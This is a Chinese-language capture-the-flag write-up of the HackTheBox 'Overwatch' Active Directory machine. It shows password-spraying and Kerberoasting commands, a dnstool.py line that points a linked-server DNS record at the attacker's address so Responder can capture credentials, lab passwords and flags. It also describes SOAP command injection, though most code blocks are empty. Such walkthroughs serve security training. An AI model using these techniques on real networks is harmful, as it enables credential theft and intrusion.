HackTheBox - Overwatch
這是windows AD Pentest的medium題目,以下的IP因為多次重啟server,所以有時候會不一樣,但只要是10.129.0.0/16都是HTB靶機
Recon
Scan Port
1 | |
這台幾乎可以確定是 Domain Controller (DC)
- Kerberos(88)
- AS-REP Roasting(如果有 no-preauth user)
- Kerberoasting(如果你有帳密)
- password spraying
- LDAP(389 / 3268)可以拿:
- user list
- group
- description(常藏密碼)
- SMB(445)
- RPC(135 / 593)用來輔助 enumeration
先enumerate user
1 | |
先開SMB進去撈資料
1 | |
overwatch.exe看起來用.Net寫的,所以dnSpy反編譯看一下內容
有沒有Credentials可以利用
在Program的CheckEdgeHistory method發現一個明顯的hardcoded credential
1 | |
- Username:
sqlsvc - Password:
TI0LKcfHzZw1Vv
確認權限
既然有一個foothold了,下一步就是確認權限,最直接的方式是利用evil-winrm嘗試登入
1 | |
看起來帳密是正確的但沒有WinRM的使用權線,所以sqlsvc是一個「低權限但有效的 domain 帳號」,下一步就是要嘗試拿到更多帳密而且是更高權限的
嘗試拿到更多Credentials
既然看到以及各種smb share的files,比較合理的做法是
- AS-REP Roasting: 我們已經有一組credential,用這個方法也不是不行但比較適合還沒有foothold的時候
- Kerberoasting
1
2
3
4$ GetUserSPNs.py overwatch.htb/sqlsvc:'TI0LKcfHzZw1Vv' -request Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies No entries found! - password spraying: 也沒有什麼進展,而且很慢
1
2
3# 既然我們已經有foothold,那麼現在可以enum username $ crackmapexec smb 10.129.244.81 -u sqlsvc -p 'TI0LKcfHzZw1Vv' --rid-brute | grep SidTypeUser | awk -F "OVERWATCH" '{print $2}' | cut -d '\' -f2 | cut -d ' ' -f1 > ./users.txt $ crackmapexec smb 10.129.244.81 -u users.txt -p 'Password123'
看起來爆破密碼應該不是好的想法,所以參考1之後才發現我前面的recon做的不是很確實,因為原本掃port不會發現這個port
1 | |
而看了這個port他是Microsoft SQL Server,所以可以用impacket的mssqlclient連線
1 | |
看起來這個帳號的權限真的很低,那就要找其他更高權限的帳號或是提權,先嘗試「最簡單的提權」
1 | |
簡單的提權無果後,可以嘗試撈資料
1 | |
資料也沒有什麼特別的,那就可以嘗試Linked Server
1 | |
代表有Linked server - SQL07,但也沒辦法執行shell,基本上所有本地的feature都已經用盡,那就可以嘗試網路相關的feature
MSSQL - Network
在沒有RCE、credential、sql 提權的情況下,可以利用responder → 我要讓目標主動認證給我,SQL Server 嘗試讀取網路資料夾
- → 用自己的帳號去認證
- → 發出 NTLM
但是用Responder有很多攻擊技巧,要使用哪一個,從前面的SQL payload可以大概知道一些端倪,首先我們執行EXEC ('whoami') AT [SQL07];,S200401\SQLEXPRESS嘗試連到另外一台server也就是SQL07,但error msg說網路有問題導致登入timeout,所以如果
- 我有sqlsvc的credential → 一般 user 通常可以新增 DNS record(Dynamic DNS)
- SQL Server → 想連 SQL07.overwatch.htb → 需要 DNS 解析
那麼我是不是可以控制SQL Server → SQL07.overwatch.htb → evil server
更詳細一點說,原始的連線流程是
1 | |
而失敗的原因也有很多
- SQL07 不存在
- DNS 查不到
- network 不通
- firewall 擋
- instance 沒開
但重點是SQL server會去DNS查詢誰是SQL07,那我們就可以利用DNS Spoofing,所以修改後的連線流程是
1 | |
也就是利用Responder假裝是sql server(SQL07)讓SQL Server → 發送sqlmgmt:bIhBbzMMnB82yx
要使用Responder有幾個前提
- 一定要在Kali VM中使用,windows/wsl不能用
- Kali VM要連到HTB的vpn
1
$ sudo openvpn ./machines_us-4.ovpn - 確認連線出現tun0
1
2
3
4
5
6
7
8
9
10
11$ ifconfig ... tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500 inet 10.10.15.135 netmask 255.255.254.0 destination 10.10.15.135 inet6 fe80::8417:cfe4:1d:1c79 prefixlen 64 scopeid 0x20<link> inet6 dead:beef:2::1185 prefixlen 64 scopeid 0x0<global> unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500 (UNSPEC) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 3 bytes 144 (144.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 - 使用DNS Spoofing的技巧
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21$ ./dnstool.py 10.129.244.81 -u OVERWATCH\sqlsvc -p 'TI0LKcfHzZw1Vv' --action add --record SQL07.overwatch.htb --data 10.10.15.135 [-] Connecting to host... [-] Binding to host [+] Bind OK [-] Adding new record [+] LDAP operation completed successfully $ sudo apt install impacket-scripts $ impacket-mssqlclient -windows-auth overwatch/sqlsvc:'TI0LKcfHzZw1Vv'@10.129.244.81 -port 6520 Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'. [*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000) [!] Press help for extra shell commands SQL (OVERWATCH\sqlsvc guest@master)> EXEC('SELECT 1') AT [SQL07]; INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Communication link failure". ERROR(MSOLEDBSQL): Line 0: TCP Provider: An existing connection was forcibly closed by the remote host.
這是MSSQL Server - S200401\SQLEXPRESS自己連線SQL07時的credential
- Username:
sqlmgmt - Password:
bIhBbzMMnB82yx
確認權限
1 | |
帳密是對的但還是無法直接從mssql拿到rce,不過有更高的權限
1 | |
感覺都沒啥有意義的資訊,所以我也是參考1才知道可以用的方式
1 | |
關鍵是看URL,最後一個很可疑,不像 Windows 預設服務而且port還是8000,可能是開發者自己寫的服務,有比較高的機率有洞可以打
1 | |
判斷Web Server有沒有洞
1 | |
基本上就先看看這個服務正不正常,記得要-UseBasicParsing避免IE Browser parsing。在Links的地方會發現
1 | |
代表這是SOAP的web service,因為WSDL(Web Service Description Language)是SOAP專用的描述文件
用 XML 傳資料的 API(老派但很常見),一個可以被「呼叫功能」的服務,例如:透過XML告訴server去invoke KillProcess
而SOAP和在滲透測試很重要是因為幾乎都會有參數,而且通常是企業內部系統,自定義的function會有一些漏洞
1 | |
1 | |
最重要的是看operation
1 | |
感覺KillProcess比較有機會,但還沒看到技術細節,通常SOAP會把技術細節定義在XSD中
1 | |
1 | |
仔細看以下的kill process
1 | |
minOccurs="0": 可以不傳,沒強制格式name="processName": 代表有processName參數type="xs:string": 任何字串都可以,沒限制nillable="true": 可以是 null,沒嚴格驗證
這代表是個可以injection的地方
構造SOAP Payload
1 | |
要特別注意的是SOAPAction必須完全遵照WSDL中的定義,另外,看到KillProcessResult是
,基本上確定command injection payload valid
RCE - 利用SOAP MonitorService這個具有System權限的角色幫忙讀取root.txt
1 | |
- User Flag:
13ff5317a3c085c9507178e274d176a2 - Root Flag:
8f8991035e2ebbdb3baa3d1c30e6ff26